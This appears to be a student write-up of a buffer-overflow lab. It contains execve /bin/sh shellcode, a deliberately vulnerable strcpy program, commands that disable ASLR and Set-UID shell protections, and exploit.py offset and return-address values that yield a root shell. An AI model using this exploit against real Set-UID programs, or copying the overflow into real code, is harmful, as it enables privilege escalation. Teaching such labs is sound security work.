Task 1: Getting Familiar with Shellcode

- C Version of Shellcode:

```c
#include <stdio.h>

int main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;

    execve(name[0], name, NULL);
}
```

- 32-bit Shellcode:

```asm
; Store the command on stack
xor     eax, eax
push    eax
push    "//sh"
push    "/bin"
mov     ebx, esp     ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push    eax          ; argv[1] = 0
push    ebx          ; argv[0] --> "/bin//sh"
mov     ecx, esp     ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor     edx, edx     ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor     eax, eax
mov     al, 0x0b     ; execve()'s system call number
int     0x80
```

- 64-bit Shellcode:

```
xor     rdx, rdx        ; rdx = 0: execve()'s 3rd argument
push    rdx
mov     rax, '/bin//sh' ; the command we want to run
push    rax
mov     rdi, rsp        ; rdi --> "/bin//sh": execve()'s 1st
argument
push    rdx             ; argv[1] = 0
push    rdi             ; argv[0] --> "/bin//sh"
mov     rsi, rsp        ; rsi --> argv[]: execve()'s 2nd argument
xor     rax, rax
mov     al, 0x3b        ; execve()'s system call number
syscall
```

- Actual task:

call_shellcode.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Binary code for setuid(0)
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"

const char shellcode[] =
#if __x86_64__
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
    ;
```

```c
int main(int argc, char **argv) {
    char code[500];

    strcpy(code, shellcode);
    int (*func)() = (int (*)())code;

    func();
    return 1;
}
```

- Compile the 32-bit & 64-bit versions with the Makefile:

```makefile
all:
	gcc -m32 -z execstack -o a32.out call_shellcode.c
	gcc -z execstack -o a64.out call_shellcode.c

setuid:
	gcc -m32 -z execstack -o a32.out call_shellcode.c
	gcc -z execstack -o a64.out call_shellcode.c
	sudo chown root a32.out a64.out
	sudo chmod 4755 a32.out a64.out

clean:
	rm -f a32.out a64.out *.o
```

- Run the Makefile:

```
make
```

- Run the binaries:

```
./a32.out
./a64.out
```

We get 2 shell binaries, one 32-bit and the other 64-bit.

Task 2: Understanding the Vulnerable Program

stack.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

void dummy_function(char *str);

int bof(char *str) {
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv) {
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    if (!badfile) {
        perror("Opening badfile");
        exit(1);
    }

    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ====\n");

    return 1;
}
```

```c
void dummy_function(char *str) {
    char dummy_buffer[1000];
    memset(dummy_buffer, 0, 1000);
    bof(str);
}
```

- Turn off Address Space Randomization:

```
sudo sysctl -w kernel.randomize_va_space=0
```

So we can pinpoint the return address easier, since the addresses aren’t changing every time the program is ran.

- Link /bin/sh to zsh:

```
sudo ln -sf /bin/zsh /bin/sh
```

So we can run a shell in a Set-UID program, since dash & bash have countermeasures against it.

- Run Makefile:

```
make
```

Task 3: Launching Attack on 32-bit Program (Level 1)

- Create the badfile:

```
touch badfile
```

- Open the debugger for *stack-L1-dbg*:

```
gdb stack-L1-dbg
```

- Set breakpoint at bof():

```
$ b bof
```

- Run:

```
$ run
```

- Go next:

```
$ next
```

- **Get the base pointer's address:**

```
$ p $ebp
```

```
$1 = (void *) 0xffffc9d8
```

- **Get the buffer's address:**

```
$ p &buffer
```

```
$2 = (char (*)[100]) 0xffffc96c
```

- Calculate the difference:

c9d8 – c96c = 6c (108)

This means that, for the 32-bit version, the eip is at a difference of 112, being an address space higher than the ebp. This is the offset:

```
offset = 112
```

We want to put the shellcode is at the end of the overflown buffer so we have more room to jump around with the return address, so the start is the buffer size minus the shellcode size.

```
start = 516 - len(shellcode)
```

The return value could've been anywhere between:
eip's address + a few addresses & eip's address + start – offset, a range full of NOPs.

But because of running the program with gbd, the higher addresses get populated by gdb's environment data, so the actual return address range is higher than its debug counterpart.

exploit.py values

```
#################################################################
# Put the shellcode somewhere in the payload
start = 516 - len(shellcode)
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffca90 #0xffffcb50
offset = 112

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
#################################################################
```

- Run *exploit.py* to generate badfile:

```
python3 exploit.py
```

- Run *stack-L1*:

```
./stack-L1
```

```
Input size: 517
#
```

The # meaning we have a shell with root privileges.